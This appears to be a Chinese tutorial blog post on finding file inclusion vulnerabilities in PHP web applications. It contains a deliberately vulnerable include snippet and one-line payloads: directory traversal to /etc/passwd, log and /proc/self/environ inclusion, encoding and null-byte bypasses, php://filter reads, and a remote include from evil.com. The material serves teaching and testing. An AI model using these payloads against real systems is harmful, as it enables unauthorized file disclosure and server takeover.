web漏洞挖掘方法 - 文件包含篇

admin 2024年12月31日23:06:12评论6 views字数 1722阅读5分44秒阅读模式

一、什么是文件包含漏洞?

web漏洞挖掘方法 - 文件包含篇

文件包含漏洞是指,网站代码没有正确验证用户输入的文件路径,导致攻击者能够通过输入恶意的文件路径,让程序加载并执行服务器上的其他文件。这样,攻击者就有可能获取敏感信息、执行恶意代码,甚至控制服务器。

简单示例:<?phpinclude("inc/" . $_GET['file']);?>

这段代码表示,程序会根据用户传入的file参数来决定包含哪个文件。如果用户输入了一个恶意的路径(比如指向服务器上敏感的文件),程序就会把这个文件包含进来,从而暴露出服务器上的信息。

二、常见的文件包含方式:

1. 同目录包含:

如果程序直接包含了当前目录下的文件。攻击者可以通过传入类似file=.htaccess的参数来读取.htaccess等敏感文件。

2. 目录遍历:

攻击者通过特殊字符(../)来“跳出”当前目录,访问服务器上其他目录的文件。例如:传入?file=../../../../../etc/passwd,就可能读取到Linux系统上的/etc/passwd文件(其中存储了用户信息)。

3. 日志文件注入:

攻击者可以通过日志文件进行攻击,传入file=../../../../../../../../../var/log/apache/error.log等路径,利用日志文件中的内容执行恶意代码

4. 利用 /proc/self/environ:

Linux系统中,/proc/self/environ存储了当前进程的环境变量,攻击者可以尝试读取这些敏感数据。

5. PHP中的常用包含函数:

include:如果文件不存在,PHP会显示警告,但继续执行后面的代码。include_once:与include类似,但确保文件只被包含一次。require:如果文件不存在,PHP会报错并停止执行后续代码。require_once:与require类似,但确保文件只被包含一次。

三、绕过文件包含的常见技巧:

1. URL编码绕过:

如果程序使用简单的字符串匹配过滤文件路径,攻击者可以通过URL编码(将字符转换为%加数字的形式)来绕过检查。例如:%252e%252e%252f会被解码为../,从而实现目录遍历攻击。file=%252e%252e%252f%252e%252e%252fetc%252fpasswd

2. 特殊字符绕过:

在文件路径中使用特殊字符(如*、?等通配符),或者利用URL中的#字符,攻击者可以影响路径的解析,绕过一些基本的检查。

3. %00(NUL字符)截断:

当PHP版本较低并且magic_quotes_gpc功能关闭时,攻击者可以在路径中插入%00来截断路径,从而绕过检查。比如:file=../../../../../../etc/passwd%00%00代表的是“空字符”,它会截断文件路径,使得程序只加载路径前面的部分。

4. 路径长度限制绕过(Windows特有):

在Windows系统中,路径的最大长度限制为260个字符。攻击者可以通过使用././././(多个点斜杠)来增加路径的长度,绕过路径长度限制。file=././././etc/passwd

5. 伪协议绕过:

如果服务器允许远程文件包含(开启了allow_url_fopen和allow_url_include选项),攻击者可以通过伪协议(如http://、ftp://)加载远程文件。比如:file=http://evil.com/malicious_file.php或者,使用php://input等流来包含数据:file=php://input

6. Base64编码绕过:

攻击者可以利用php://filter来读取文件内容并进行Base64编码:file=php://filter/convert.base64-encode/resource=index.php

7. 其他协议绕过:

除了http和ftp协议,攻击者还可以尝试使用其他协议(如SMB、WebDAV)绕过限制。

文件包含漏洞可能导致严重的安全问题,攻击者可以通过巧妙构造输入来读取服务器上的敏感文件、执行恶意代码或甚至完全控制服务器。

原文始发于微信公众号(信安一把索):web漏洞挖掘方法 - 文件包含篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月31日23:06:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web漏洞挖掘方法 - 文件包含篇https://cn-sec.com/archives/3575850.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息